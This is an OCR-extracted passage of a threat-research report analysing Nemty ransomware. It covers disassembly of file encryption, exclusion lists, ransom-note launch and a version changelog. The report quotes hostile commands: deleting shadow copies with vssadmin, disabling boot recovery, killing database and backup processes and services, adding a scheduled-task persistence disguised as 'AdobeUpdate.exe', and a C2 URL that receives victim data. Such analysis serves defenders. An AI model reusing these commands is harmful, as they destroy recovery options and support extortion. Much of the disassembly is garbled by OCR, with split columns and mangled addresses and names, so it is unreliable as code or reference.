[ebp+pduDatalen] ; cbBinary

; pcchString
; pszString

dwFlags

[ebp+var_A418], eax
eax, [ebp+pbData]

eax
edi ;

FIGURE 17. Crypt the config file and encode in base64

; pbBinary
CryptBinaryToStringh

Nemty will get the username logged in the system through ‘SHGetFolderPathW’ and will save and encrypt it with the .nemty extension on that

folder.

lea eax, [ebp+pszPath]
push eax H
2or eax, eax

push eax H
push eax ;
push 28h H

push eax

call SHGetFolderPathW

FIGURE 18. Getting the user’s root folder

pszPath

dwFlags
hToken

csidl - Folder to the user for example c:idocuments and settingsiramiro

hwnd
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.text:004B8EL42 mou ebx, eax

.text:B04A8ELY lea esi, [ebp+var_28]

.text:B0uBBEUT call NemtyPrepareToCopyStringInAnotherHemoryPositionFunction
.text: A4 ARELC moy eax, esi

.text:O04A8E4E push offset a_nemty : “.nemty”

.text:004A8E53 push eax ; int

-text:O0408ESY lea eax, [ebp+var_9a]

.text:BB4BBESA call NemtyGetUnicodeStringSizeAndConcatBeetwenThemFunction
.text:O0408ESF cmp dword ptr [eax+14h], 8

.text:804B8E63 pop ecx

-text:00408E6H pop ecx

.text:BB4BBEGS jb short _create_file_in_disk

.text:O0408EGF moy eax, [eax]

.text:BO4OBEGD

.text:BBUBBEG? create file_in_disk: ; CODE XREF: NemtyCryptConfigFileAndCreateItInDiskInThe
.text:0048BEG6Y Xor ebx, ebx

.text:00408EGE push ebx ; hTemplateFile

.text:A04B8ELC push 868h ; dwFlagsAndAttributes

.text:B04BBE71 push 2 ; duCreationDisposition
.text:BB4BBE73 push ebx ; lpSecurityattributes

.text:00488BE7Y push ebx ; dwShareMode

.text:00488E7S push BCOA00BABH ; dwbesiredficcess

-text:O0408E7A push eax ; 1pFileName

-text:0B48BE7B call CreateFileW

FIGURE 19. Creation of the config file on the disk

Nemty Encryption Threads

For the encryption, Nemty will create a new thread per each logic unit found in the system in order to encrypt the files.

The method used to encrypt the files is similar to other RaaS families, getting all the files using the function ‘FindFirstFileW’ and
‘FindNextFileW. Nemty will avoid encrypting folders with the following names:

The encryption process will also avoid using files with the following names:

SRECYCLE.BIN | 10.5YS

appdata Microsoft
AUTOEXEC.BAT | MSDOS.SYS
boot.ini NTDETECT.COM
bootmgr ntldr

BOOTSECT.BAK | ntuser.dat
Common Files | programdata
CONFIG.5YS rsa
desktop.ini windows
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-text:80405F43
-text:00405F 44
-text:00405F46
-text:00405F48
-text:88405F4E
-text:00405F53
-text:00405F5A
-text:00405F5E
-text:80405F5D
-text:00405F5F
-text:00405F65
-text:080405F6A
-text:@80405F71
-text:0O405F72
-text:00405F74
-text:00405F76
-text:@80405F7C
-text:00405F81
-text:00405F88
-text:00405F80
-text:80405F8B
-text:00405F8D
-text:00405F93
-text:00405F98
-text:80405F9F
-text:00405FR0O
-text:00405FA2
-text:B0405FAL
-text:@88405FAA
-text:00405FAF
-text:00405FB6
-text:080405FB7
-text:88405FB?
-text:00405FBE
-text:00405FC1
-text:0040B5FCH
-text:@88405FCD

push
call
test
jz
push
lea
push
call
test
jz
push
lea
push
call
test
jz
push
lea
push
call
test
jz
push
lea
push
call
test
jz
push
lea
push
call
test
jz
push
lea
push

FIGURE 20. Check of the blacklisted folder and file names

This check is done using the insensitive function “IstrcmpiW”. Where Nemty is encrypting a file it will try two combinations, one in lower case,

one in uppercase.

The extensions checked are:

nemty

eax ; lpstringt
esi ; 1lstrcmpiV
eax, eax

_set_flag_to_true
offset aRecycler ; "RECYCLER™
eax, [esp+31Ch+FindFileData.cFileName]

eax ; 1pstringi
esi ; 1strcmpiV
eax, eax

_set_flag_to_true
offset aBootsect_bak ; "BOOTSECT.BAK™
eax, [esp+31Ch+FindFileData.cFileHame]

eax ; lpstringt
esi ; 1lstrcmpiV
eax, eax

_set_flag_to_true
offset aBootmgr ; “bootmgr™
eax, [esp+31Ch+FindFileData.cFileName]

eax ; 1pstringi
esi ; 1strcmpiV
eax, eax

_set_flag_to_true
offset aProgramdata ; “programdata®™
eax, [esp+31Ch+FindFileData.cFileHame]

eax ; lpstringt
esi ; 1lstrcmpiV
eax, eax

_set_flag_to_true
offset afAppdata ; “appdata”
eax, [esp+31Ch+FindFileData.cFileName]

eax ; 1pstringi
esi ; 1strcmpiV
eax, eax

_set_flag_to_true

offset aWindows ; “windows"

eax, [esp+31Ch+FindFileData.cFileHame]
eax ; int

log — lowercase + uppercase
cab - lowercase + uppercase
cmd — lowercase + uppercase
com — lowercase + uppercase
cpl — lowercase + uppercase
exe — lowercase + uppercase
ini — lowercase + uppercase
dll - lowercase + uppercase
Ink — lowercase + uppercase
url — lowercase + uppercase
ttf — lowercase + uppercase
DECRYPT.TXT
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-text:00LB63A6
-text:0804063AB
-text:004863AC
-text:004B63AE
-text:004B63BL
-text:0804063B9
-text:004063BD
-text: 00486302
-text:00LB63C3
-text: 0804086305
-text:004863C7
-text:004863CC
-text:004863D0
-text: 804086305
-text: 004086306
-text: 00486308
-text:@0LB63DA
-text:804B63DF
-text:004063E3
-text:004B63ER
-text:00LB63ED
-text:004B63ER
-text:004063ED
-text:004B63F2
-text:00LB63F6
-text:0804B63FB
-text:004863FC
-text:004863FE
-text:o0uB6480
-text: 00406405
-text: 00406409
-text: 004864 0E
-text:00LB648F
-text:a04u06411
-text: 00406413

call
pop
test
jnz
push
lea
call
pop
test
jnz
push
lea
call
pop
test
jnz
push
lea
call
pop
test
jnz
push
lea
call
pop
test
jnz
push
lea
call
pop
test
jnz
push

FIGURE 21. Check of the file extensions

If Nemty has successful checks, it will create a random IV and encrypt part of the file with the AES keys previously generated. It then begins

NemtyCheckStringSizenndCompareStringsSensitiveFunction

ecx
al, al

_release_memory

offset alnk_B8 3 "LHK"

eax, [esp+31Ch+WideCharstr]
NemtyCheckStringSizenndCompareStringsSensitiveFunction

ecx
al, al

short _release_memory

offset alrl

5 Murl”

eax, [esp+31Ch+WideCharstr]
NemtyCheckStringSizenndCompareStringsSensitiveFunction

ecx
al, al

short _release_memory

offset allrl_8 ; "URL"™

eax, [esp+31Ch+WideCharstr]
NemtyCheckStringSizenndCompareStringsSensitiveFunction

ecx
al, al

short _release_memory

offset aTtf

; LEET

eax, [esp+31Ch+WideCharstr]
NemtyCheckStringSizenndCompareStringsSensitiveFunction

ecx
al, al

short _release_memory

offset aTtf_B 5 UTTE™

eax, [esp+31Ch+WideCharstr]
NemtyCheckStringSizenndCompareStringsSensitiveFunction

ecx
al, al

short _release_memory
offset aDecrypt_txt ; “DECRYPT.tLxt"™

the 1V using the victim’s RSA public key and appends it to the encrypted file.

-text:-0040870068
-text:-0048788E
-text:-004870613
-text:-o0487619
-text:-0048781A
-text:-0048701B
-text:-00487061C
-text:-o048761D
-text:-0048761E
-text:004087821
-text:-00487023
-text:-00487624
-text:-00487827
-text:004870828
-text:-00408702B
-text:-0048702E
-text:-0048702F
-text:-00487835
-text:-004087038
-text:-00487038
-text:-0048783E
-text:-00487 043
-text:-00407 044
-text:-00487 045
-text:-00487 046
-text:-00487 847
-text:-004087049
-text:-0048704A
-text:-00487 84D
-text:-00487B4E
-text:004070651
-text:-00487654
-text:-004870655

push
call
nov

pop

push
push
push
push
nov

call
push
lea

push
push
push
push
call
nov

nov

nov

call
push
push
push
push
call
push
lea

push
push
push
push
call

FIGURE 22. Write the crypted file and put the IV in it

Nemty will put the information required to decrypt the file in the encrypted part of it and then add the extension “.nemty” and continue with the

next folder or file.

dword ptr [ebp+FileSize]
unknown_libname_3 ; Microsoft VisualC 2-11/net runtime
esi, SetFilePointer

ecx
ebx ; duwMoveHethod

ebx ; lpbistanceToHoveHigh
ebx ; lbistanceToHove

edi ; hFile

[ebp+1pBuffer], eax
esi ; SetFilePointer

ebx ; lpOverlapped
eax, [ebp+HumberOfBytesRead]
eax 5 lpHumberOfBytesRead

dword ptr [ebp+FileSize] ; nHumberOfBytesToRead
[ebp+1lpBuffer] ; lpBuffer

edi ; hFile

ReadFile

eax, [ebp+var_78]

ecx, dword ptr [ebp+FileSize]

edx, [ebp+1pBuffer]
NemtyPrepareCryptTheFileFunctions

ebx ; dwHoveMethod

ebx ; lphistanceToHoveHigh
ebx ; 1bistanceToHove

edi ; hFile

esi ; SetFilePointer

ebx ; lpOverlapped

eax, [ebp+HumberDfBytesWritten]

eax ; 1pMumber0fBytesWritten

[ebp+HumberO0fBytesRead] ; nHumberOfBytesTolrite
[ebp+1lpBuffer] ; lpBuffer

edi ; hFile

WriteFile
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text:B04B6CP3 sub esp, 28h

.text:08406C96 mov eax, _  security_cookie

.text:004B6COB xor eax, ebp

.text:80486C9D mowv [ebp+var_4], eax

.text:88486CA0 push offset a_nemty ; “.nemty”

.text:08406CAS lea eax, [ebp+lpExistingFileName]

text:AB4B6CAS8 lea ecx, [ebp+lpHewFileHame]

.text:08406CAB call NemtyGetSizeOfUnicodeStringAndMemcpyFunction
.text:808486CE0 cmp [ebp+var_C], 8

.text:88486CEBY pop eCx

.text:00406CH5 mowv ecx, [ebp+lpHewFileHame]

.text:00406CB8 jnb short _check_if_pointer_is_ok

.text:00406CEA lea ecx, [ebp+lpHewFileHame]

.text:80486CED

.text:BB4B6CBD _check_if_pointer_is_ok: ; CODE XREF: HemtyRenameTheFileExtensionWithTheMemtyStringFunction+28Tj
-text:a0486CED cmp [ebp+arg_14], 8

.text:88406CC1 mov eax, [ebp+lpExistingFileName]

.text:08406CCY jnb short _move_ file

.text:0B8406CCH lea eax, [ebp+lpExistingFileName]

.text:88486CCY

.text:B084B6CCY move File: ; CODE XREF: MemtyRenameTheFileExtensionWithTheMemtyStringFunction+34Tj
.text:08406CCY push esi

.text:08406CCA push edi

.text:00406CCHE push eCx ; lpHewFileMame
.text:00406CCC push eax ; 1pExistingFileName
-text:@0486CCD call HoveFileW

FIGURE 23. Renaming of the new file with the Nemty extension

After finishing the encryption process Nemty will use the function ‘WaitForSingleObjects’ and wait for all the pending threads. It will also
download the Tor Browser and open a connection in the loopback with the configuration file.

As a final action, Nemty will execute the command prompt of the machine with the hardcoded word “cmd.exe” and open the ransomware note.

.text:-aauaAsa1 mov [ebp+var_2C], ebx

.text:-A84BASAL mov [ebp+var_3C], bl

.text:B04BASAT pop esi

.text-0048A5A8 mov ebx, eax

.text:-a84BA5AN lea eax, [ebp+var_3C]

.text:-a84BA5AD mov [ebp+var_28], esi

-text:-0040A5B0 call NemtyReleasePreviousBufferOfHemorylfIsNeededAndCopyANewStringFunction
-text:0040A5BS mov ebx, offset aNemtyDecrypt_8 ; "“AWHEMTY-DECRYPT.txty""
.text:-8048ASBA push ebx ; char =

.text:-a848A5ER call _strlen

-text:-a040A5CH pop ecx

.text:-AA4BASC1 moy edi, eax

.text:-A848A5C3 push ebx

.text:-ABL4BASCY lea eax, [ebp+var_3C]

.text:B04BASCT call NemtyManageStringsWithSizeCheckAndCopyMemoryFunction
.text:-A0840ASCE and [ebp+var_18], @

-text-8048ASDA mov ebx, eax

.text:-a848A5D2 lea eax, [ebp+lpParameters]

-text:-a840A5D5 mov [ebp+var_C], esi

.text:-A0840A5DS mov byte ptr [ebp+lpParameters], 8

.text:-a848ASDC call NemtyReleasePreviousBufferOfHemorylfIsNeededAndCopyANewStringFunction
.text:-a848A5E1 cmp [ebp+var_C], 18h

-text:-Aa0840ASES mov ecx, [ebp+lpParameters]

.text:-A040ASES jnb short _execute_ransom_note

.text:-A84BASEN lea ecx, [ebp+lpParameters]

.text:BB4BASED

.text:BBUBASED execute ransom _note: ; CODE XREF: _main+F9Tj
.text-0048ASED mov ebx, ShellExecuten

.text:-8048A5F3 ®or eax, eax

-text-0048A5FS push eax ; nShowCmd

-text:-A040A5F6 push eax ; lphirectory

.text-A040A5F7 push BCX ; lpParameters

.text:-0040ACF8 push offset File ; "cmd.exe™

.text:-A848A5FD push eax ; lpOperation

-text:-A80840ASFE push eax 5 hund

.text-004BASFF call ebx ; ShellExecuten ; this call can fails because the class can not exists

FIGURE 24. Opening the ransom note

The style of the ransomware note changed across the different versions that the Nemty developers released.
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FIGURE 25. Different ransom notes between versions

On the left side, we can see Nemty version 1.4. On the right side, the ransomware note belongs to Nemty version 1.0.
Like other ransomware families, Nemty will perform these actions at the end:

¢ Delete the shadow copies using vssadmin
« Disable boot protections with bcedit and wbadmin
o Delete the Windows catalog with WMIC using the class shadow copy

All these calls are made with the function “ShellExecuteA” with the “cmd.exe” string as the main program and the other as an argument.

-text:-0040A629 call NemtyCheckIfPointerAndPrepareemoryToBeReleasedWith?Function
.text:0040A62E push offset aCUssadmin_exel ; " /c vssadmin.exe delete shadows /fall /q"
.text:-0848A633 lea eax, [ebp+var_58]

.text:0040A636 call NemtyCheckSizeStringAndCopyStringInBufferfAndReturnPointerToltFunction
-text:-0040AG63B cmp dword ptr [eax+14h], 18h

text-A80840AG63F jh short _delete_shadow volumes_and_disable_boot_protections_and_delete_catalog
.text:-aa4ea641 mov eax, [eax]

.text:0040A6L3

.text:-0040A643 _delete_shadow volumes_and_disable_boot_protections_and_delete_catalog:

text:a040A643 ; CODE XREF: _main+150Tj

text-004BAGL3 xor BCX, ECX

-text-004BAGLS push ecx ; nShowCmd

-text:-a040AGL46 push ecx ; lpDirectory

JtextoA04BAG6YT push eax ; lpParameters

.text:-O840A648 push offset File

.text:-A848A64D push ecx ; lpOperation

-text:-a040AGL4E push ecx ; hund

text-084BAGYHF call ebx ; ShellExecuten

FIGURE 26. Deletion of the shadow volumes, disabling boot protections, and deleting the catalog

Mutex

Nemty will create a specific mutex in the system every time it infects a system:

Mutex Nemty versions

hate 1.0,1.1,1.4

just_a_game, defeat_me! 1,5,1.6,2.0
oleacc-msaa-loaded 2.0
just_a_little_game 2.2

golod moi edinstvennii sponsor 23,24

Vremya tik-tak... Odinochestvo moi simvol... | 1.5, 2.5

The ransomware will check the existence of the mutex using the function “GetlLastError”.
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aa48ALFa
aa48ALF2
aa48ALF 8
aa4BALFD
aa48a4FF
aa48A5 82
884 8A583
BO4BA5 84
a048A5 85
aa48A5BA
aa48A5ac
Ba48A5 8D
da48n5BE
aa48A51 4
Ba4BA51S
B84 8A516
aa4BA51C
aa48A522

Ba4BAS27 | .

aa48A529
aa48A52n

55

8BEC

81EC 90000000
A1 84134800
33C5

8045 FC

53

56

57

68 18574000
33DB

53

53

FF15 641040808
53

58

FF15 58104000
FF15 58184080
3D B7000000
75 87

53

FF15 481840808

push
noy
sub
noy
®or
noy
push
push
push
push
Ror
push
push
call
push
push
call
call
cnp
jnz
push
call

ebp
ebp,
esp,
eax,
eax,
[ebp-
ebx
esi
edi
<Name
ebx,
ebx
ebx
[<&KE
ebx
eax
[<&KE
[<RKE
eax,
short
ebx
[<&HKE

esp
98

[<__ security_cookie>]
ebp

4], eax

>
ehx

RHEL32 .CreatebutezA]

RHEL32 .WaitForsSingleObject>]
RHEL32 .GetLastError>]

6B7

<_after_nutex>

RMEL32.ExitThread>]

FIGURE 27. Creation of the hardcoded mutex

ASCII “hate"

bInitialOwner
1pHutexattributes
kernel3?.CreateMutexn
duwMilliseconds

hHandle
kernel32.WaitForSingleObject
ntdll.RtlGetLastWin32Error

duExitCode
kernel32.ExitThread

If the system was infected previously with Nemty and it contains the mutex, the ransomware will finish the execution using the function
“ExitThread”. This call will end the main thread of the malware, finishing the execution and returning the control to the operative system.

The “ExitProcess” function is often used to avoid simple API monitoring.

Nemty uses RC4 to encrypt its strings and, in execution, those will be decrypted and decoded from base64 and then be used as a part of the
ransomware note.

_calculate_size_string_needed_to_reserve_memory_for_it:
; CODE XREF: MenmtyDecodeStringFromBaseé4AndDecryptStringAfterWithRC4Function+acTj
esi, CryptStringToBinaryn

mov
push
push
lea

push
push
push
push
push
call
test
jnz

_exit_thread:

push
call

ebx
ebx

; pdwFlags
s pduSkip

ecx, [ebp+pcbBinary]

ecx 5 pcbBinary
ebx ; pbBinary
1 ; dwFlags
[ebp+cchstring] 5 cchString
eax 5 pszString
esi ; CryptStringToBinaryn
eax, eax

short _reserve_memory

ebx

duExitCode

ExitThread

FIGURE 28. Calculating the size of memory to decode from base64

CODE XREF: HemtyDecodeStringFromBase64AndDecryptStringAfterWithRC4Function+84)j
NemtyDecodeStringFromBasebdAndDecryptStringAfterWithRC4Function+A6 )]

The RC4 key used for Nemty 1.0 is ‘fckav’. Other malware families also often use offensive names or expressions regarding the security
industry in their implementations.

For decryption, the developers implemented a function through the API to reserve the needed space with ‘malloc’ and later decode the string in
memory. As a protection, if the ransomware fails to get the size or on the decoding operation, the execution will finish using “ExitThread”.

push
call
lea
push
mou
call
push
push
call
mou
add
mou
mou
push
lea
mou
call
push
call
push
call
pop
pop
cmp
jhe

L4La8h ; size t
_malloc

ecx, [ebp+var_84]

ecx

[ebp+var_AC], eax
NemtyInitRC4Function
[ebp+pcbBinary]

edi

NemtyDecryptDataWithRC4Function

esi, [ebp+var_AS8]

esp, 16h

dword ptr [esi+14h], OFh
[esi+1Bh], ebx

edi ; char =
eax, [ebp+var_Aa]
[esi], bl

NemtyCheckSizeStringAndCopyStringInBufferAndReturnPointerToltFunction

[ebp+var_AC]
_free

edi ; uoid =
_free

ecx

BCK

[ebp+pcbBinary], ebx
short _release_memory

; void =
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FIGURE 29. Decrypt the data with RC4

Nemty — Learning by Doing

Since the first version of Nemty was released, the authors started to evolve their ransomware by adding new capabilities and fixing aspects of

its code.

Analyzing the early versions of Nemty, we can state that they were more advanced in techniques and obfuscation compared to other RaaS

families, but the first version still contained functions with some mistakes, such as references to API calls that were not used by the

ransomware.

At the time we wrote this article, the developers behind the ransomware have released 9 different versions:

Changelog Nemty 1.4

22

25

23

We have observed changes across the different versions of Nemty. For version 1.4, the developers applied the following changes:

« The ransomware will gather information regarding the logical units after checking if the victim has the Nemty mutex.

¢ Language check

In this version, Nemty will respect and avoid encrypting files for victims inside the CIS countries.

.text:0040A5CA
.text:B084BALCF
.text:B84BA5DY
.text:0040A5D9
.text:B04OASED
.text:B04OASES
.text:BB4BASES
.text:0040A5ES
.text:0040ASEE

call
call
mov
mow
call
pop
test
jz
call

sub_A4B8F 38

sub_A48652C

eax, offset dword_ 481FD4
[esp+BD8h+var_D8], offset aFalse ; “false”
sub_A4882CY

ecx

al, al

loc_4BA768

sub_A4872FE

FIGURE 30. Check to avoid crypting if the language is blacklisted

CHANGES IN VERSION 1.5

Compared with Nemty 1.4, this newer version was a major release, adding the following changes:

» Victim information stored in the registry

« Persistence

« Ability to kill processes and services

* New mutex

+ Hardcoded image change

o C2 panel publicly accessible
¢ 4 new blacklisted countries
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Victim Information Stored in the Registry

The first major change in this version of Nemty was the use of the Windows registry to store information about the infected machine. The hive

used is HKCU with the NEMTY identifier.

File Edit Wwiew Faworites Help

+-[1 JetBrains ~
+-21 Mandiant
+-21 Microsaft
(23 MozillaPlugins
3 NEMTY
+ D Metscape
+-[_1 ODBC
(27 POLL
+-[_7 FE-bear
(Z1 FED
+-[_7 Policies
+-0 QtProject
+-] Red Gate
+-1 Red Gate Software Ltd,
+-7 Slavaoft
+-[] SweetScape
+-[1 Sysinternals
+ D Sysprogs
+-{_1 Thingurmy Software
+-1 Troltech
+-[_1 ¥B and YEA Program Settings
+-[0 WinR.AR

[C wWinRaR sFy
S T e

< >
Wy ComputeriHKEY CURREMT_USER\Softwar el MEMTY

Mame
[aB]¢pefaulty
[3B]akey
[aB]cfg
[aB)rid

Type Data

REG_SZ {walue not set)

REG_SZ UypeaPaRPJMALOGFIRUkyvimAgbx glom

REG_SZ uGURpUEEASUSbKUGUE FiFexYRULPSaqyt /H7pvehE. .
REG_5Z _NEMTY_QEURAWF_

REG_SZ BalAAACKAABSUDEAAGAAAEARQDTO1 AnDjks4uasy, .

FIGURE 31. Information saved in the registry

Ability to Kill Processes and Services

The second feature added is the possibility to kill certain processes to facilitate file encryption in the system, something that is commonly

implemented by other RaaS families.

sqQlL Windword
Wordpad Outlook
Thunderbird | Oracle
Excel Onenote
Virtualbox

In order to kill those processes, Nemty will use taskkill /im PROCESSNAME.

-text:-0848AF7C
-text:8B4BAF7C loc_L4BAF7C:

-text:0048AF7C nov
.text:-a840AF7F push
.text:-A840AF83 lea
.text:-0840AFBG call
text:0040AF8B push
.text:-a040AF98 push
.text:-A848AF95 lea
.text:-0840AF28 lea
-text:0048AF9B call
.text:-a040AFAB pop
-text:-a848AFA1 push
.text:-0848AFA2 lea
-text:0048AFAS call
.text:-aa4BAFAN cmp
.text:-A848AFAE pop
-text:-a040AFAF pop

-text:-0048AFBA jb

-text:-0048AFB2 nov
.text:B04BAFBL

-text:-0040AFBY4 loc_A4BAFBA4:
-text:-0048AFBY4 ®or
.text:-O040AFBG push
.text:-A848AFB7 push
-text:-0040AFES push
text:A040AFBY push
.text:-O848AFBE push
.text:-A848AFC3 push
.text:084BAFCY call

; CODE XREF: sub_4BAF23+CE}j
eax, [ebp+var_5C]

[ebp+eax=h+uar_88] ; char =
eax, [ebp+var_2@]
sub_4872A0

offset a_exe ; U.exe™

offset aCTaskkillFIm ; " /fc taskkill /f Fim ™
ebx, [ebp+var_24a]
eax, [ebp+var_58]

sub_48A498

ecx

eax ; int
eax, [ebp+var_3C]
sub_487DDA

dword ptr [eax+14h], 18h
ecx

ecx

short loc_4B8AFB4
eax, [eax]

; CODE XREF: sub_40aF23+8DTj

BCX, BCX

BCx ; nShowCmd

ecx ; lpDirectory
eax ; lpParameters
offset File ; "cnd.exe"

offset Operation ; “open”
eCx ; hund
ShellExecuten
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FIGURE 32. Termination of processes

Among certain kill processes, Nemty will stop certain services in the system with the same objectives:

DbxSvc MSSQLSSQLEXPRESS
OracleXETNSListener | MSSQLServerADHelper100
AcrSch2Svc MongoDB
AcronisAgent SQLAgentSSQLEXPRESS
Apache2.4 SQLBrowser
SQLWriter CobianBackup11
cbVSCServicell
To stop the services Nemty, will use “net stop” and the service name.

.text: 00408085 call sub_hB72A0

.text:08040B08A push offset aCMetStop ; " /c net stop

.text:06048BBBF lea ebx, [ebp+var_2a]

.text: 00488092 lea eax, [ebp+var_3C]

.text:8048B895 call sub_48A49 8

.text:0048B0B9A cmp dword ptr [eax+14h], 186h

.text:06048BB9E pop ecx

.text:0040BB9F jb

.text:0040BOA1 mou
.text:00408B0A3

.text:0048BBA3 loc_4BBOA3:
.text:0040BOA3 =or
.text:0048BBAS push
.text:804BBBAG push
.text:06048BBAT push
.text:0048BBAB push
.text:0048BBAD push
.text:004BBBE2 push
.text:0040B0B3 call

FIGURE 33. Stop of services on the victim machine

Persistence

short loc_40BOA3 |
eax, [eax]

; CODE XREF: sub_ux@B002+9DTj

BCX, ECX
BCX ; nShowCmd
ecy ; lpbirectory
eax ; lpParameters
offset File ; “cmd.exe”

offset Operation ; “open”
BCH : huwnd
ShellExecuten

The first versions of Nemty did not have any persistence technique, so the author decided to add it in version 1.5. The persistence is done
through a scheduled task, “create /sc onlogon”. The binary is copied into the main user directory with the name hardcoded (this can be
adapted for every binary released) “AdobeUpdate.exe” and the task launched using “ShellExecute”.

.text:B04BA7DO call sub_LBB4T73
.text:0040AFDS mou esi, eax
-text:o048A7DY mou

.text:a84BA7DE push
.text:A8B4BATES moy

.text:0B4BA7ES lea

.text:B040ATEC call sub_4BA49 8
-text:a848AFF1 pop ecy
.text:8B4BATFF2 push eax
.text:0B84BA7F3 lea

.text:B040A7FA call sub_&4@87DDA
.text:AB4BAFFF pop ecy
.text:8840A8 00 pop ecx
-text:8848A801 mow ecx, eax
.text:A040A8 03 moy eax, esi
-text:0048A8 A5 lea

.text:B04078 A2 call sub_4@7EB6
-text:a840A8 BE push eax
-text:0048A8 OF lea

.text:8040A813 call sub_4@87DDA
.text:8840A818 cmp

-text:a840A81C pop ecx
.text:a840A81D pop eCx

-text:0048A81E jb

.text:8840A820 moy eax, [eax]
.text:0848A822

.text:0048A822 loc_4BAB22:

-text:0040A822 ®or BC¥, BCX
.text:A840A82Y push ecx
-text:a840A825 push ecx
.text:0B40A826 push eax
.text:0840A827F push offset File
.text:8848A82C push ecx
-text:a840A82D push ecx
-text:0048A82E call ShellExecuten

FIGURE 34. Creation of a schedule task to persistence

[esp+21Bh+var_218], offset aTr ; "%\ Jtr "

offset aCSchtasks_exeC ; ' /c schtasks.exe fcreate fsc onlogon /JE°7°.0..
ebx, offset dword_u4BiFAA@

eax, [esp+214h+1pParameters]

; int

eax, [esp+214h+var_188]

edi, [esp+28Ch+var_19C]

; int

eax, [esp+218h+1lpNewFileName]

dword ptr [eax+14h], 18h

short loc_LBAB22

CODE XREF: _main+2EAT]

nShowCmnd
1pbirectory
cbData

“cmd .exe®
int

int
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Hardcoded Image Change

Regarding the picture hardcoded in the first versions, for this version, Nemty decided to change it and include a new one.

[ tiwwad421xn31.ipg (B40 =10 %

C | B htips//preview.redd.it/fovad42 1xn3 1 jpgrwidth=6408crop=smartRauto =webpRs=5a5a65 287 76 79a0falc496 3982562 7db 3dchaste

Nemweyoumtneﬂn?-

PR R—

FIGURE 35. New image referenced in the malware

C2 Panel Publicly Accessible

The author, decided to swap TOR for a public C2 panel where Nemty will send the victim’s data.

https://nemty.hk/public/gate?data=<victim_data>

4 New Blacklisted Countries

For this version, the author added four new countries to the blacklist:

Azerbaijan
Armenia
Kyrgyzstan
Moldova

Changes in Version 1.6

Compared with the previous version, Nemty in the 1.6 version only implemented one single change. The author used their own implementation
of the AES algorithm instead of using the CryptoAPI.

The way that the malware previously generated the random key was based on functions of time but with version 1.6 it mostly used some other
value to generate the random key.
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-text:0B48BA5A
-text:@848BA5A
-text:0048B05B
-text:oe48B05D
-text:0048B063
-text:0848B068
-text:0048B0OGA
-text:o048B06D
-text:0B48BAGE
-text:0848BA6F
-text:oo048B071
-text:oe48B077
-text:0B48B079
-text:@848B87A
-text:0048BO7F
-text:oB48B080
-text:o040B081
-text:0848B083
-text:0040B089
-text:o048B08F
-text:0848B099
-text:0848BA9F
-text:0048BOAS
-text:0048BOAG
-text:oB48BOAT7
-text:o848B0AD
-text:0048BOAF
-text:0048B0BS

EeRE BB BB . -

-text:0848B0B7
-text:0048BB0BY loc_ 4OBOB7:
-text:0048B0B7
-text:0848B6BD
-text:0848B6BE
-text:0048BOCYH
-text:oe48BOCS

FIGURE 36. Changes in the key generation function

One of the partners in the No More Ransom project, Tesorion, decided to publish a free decryptor for victims infected by Nemty. After the

push ebp
mov ebp, esp
sub esp, 178h
mov eax, _  security_cookie
®or eax, ebp
mov [ebp+var_4], eax
push esi
push edi
push 5 ; dwMilliseconds
call Sleep
xor edi, edi
push edi ; Time
call
pop ecx
push edi ; th32ProcessID
push 2 ; dwFlags
mov [ebp+var_178], eax
mov [ebp+var_174], edx
mov [ebp+pe.duSize], 128h
call CreateToolhelp32Snapshot
lea ecx, [ebp+pe]
push ecx 5 lppe
push eax ; h3napshot
mouy [ebp+hSnapshot], eax
xor esi, esi
call Process32First
jmp short loc_4BBOCE
; CODE SREF: sub_4BBOSA+F3Lj
lea eax, [ebp+pe]
push eax ; lppe
push [ebp+hSnapshot] ; h3napshot
inc esi
call Process32Next

announcement, the Nemty authors released a new version utilizing a proper AES function using CryptoAPI.

-text:oB4856928
-text:004086921
-text:o0486922
-text:00486927
-text:BB48692D
-text:00486933
-text:00486934
-text:004086936
-text:B04856038
-text:BB4B6938 loc_L4B6938:
-text:00486938
-text:0048693E
-text:oB4B60LYL
-text:00486945

ARREIBBUBGIUE [ -

-text:0048694B
-text:BB4B694B loc_LB6O4B:
-text:0048694B
-text:o048694D
-text:004869508
-text:B04086956
-text:0048695C
-text:0048695E
-text:004869608
-text:BB4B6968 loc_LB6060:
-text:00486968
-text: 004086961

EeRE I BBLBAO6T [

-text:B0486963
-text:BB4B6963 loc_L4B6963:
-text: 00486963
-text:004086969
-text:B0485696A
-text:0048696B
-text:o04086971
-text:00486976
-text:B048697C

push
push
push
push
call
push
test
jnz

edi ; duwFlags
edi 5 hKey
888Ch ; Algid
hProu : hProu
CryptCreateHash
edi ; duFlags
eax, eax
short loc_LB69L4B

; CODE XREF:
hProu ; hProu
CryptReleaseContext
edi ; uEzitCode
ExitProcess

; CODE XREF:
28h ; dubDatalen
[ebp+pbData] ; pbData
[ebp+phHash] ; hHash
CryptHashbData
eax, eax
short loc_4B6963

; CODE XREF:
edi
short loc_4B6938

; CODE XREF:
eax, [ebp+phKey]
eax s phKey
edi ; duwFlags
[ebp+phHash] ; hBaseData
66 BEh ; Algid
hProu : hProu
Cryptherivekey

FIGURE 37. New implementation of the AES crypto using CryptoAPI

Like in a game of cat and mouse, Tesorion released a new decryptor for this specific version. The Nemty authors responded by including a

harcoded message to Tesorion in the samples:

Tesorion “tesorion, thanks for your article”.

sub_uBs7AB+1BIYj

sub_4B67A8+18ET]

sub_4B67AB+1DCY]

sub_u067A8+1B6Tj
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Second Version of 1.6

Instead of changing the Nemty version number in this new binary, the authors released a new version of 1.6 with some changes.
The changes added for this version are:

o New vssadmin utility used
+ New processes and services to kill
o FakeNet feature

This new version was released just 2 days after the first 1.6 version was released; this means that the actor is quite active in developing this
ransomware.

New Vssadmin Utility Used

The first change for this version is how the logical units where enumerated. The Nemty author implemented the use of the utility “vssadmin”
and also reduced the capacity of the shadow volumes to 401MB. This change probably helped the ransomware in terms of performance.

.text: 08408176 cmp [ebp+var_9%4], 2

-text: 8408170 jnz loc_4BB82EQ

.text:00408183 push offset aMaxsizey®imb ; ': /maxsize=481HB"
.text: 00408188 lea eax, [ebp+lpDirectoryHame]
.text:0840818B push eax

.text:08408818C push offset alOn ; " fon="
text: 00488191 noy ebx, eax

.text:00408193 push offset alssadminResize ; “vssadmin resize shadowstorage /for="
.text:a8408198 lea eax, [ebp+var_58]

.text: 08408198 call sub_4B8886

text: 00408108 pop eCcx

.text:aB4681A1 push eax ; int
.text:a84081A2 lea eax, [ebp+var_74]
.text:084881A5 call sub_4B7A65

text:004081AR pop eCcx

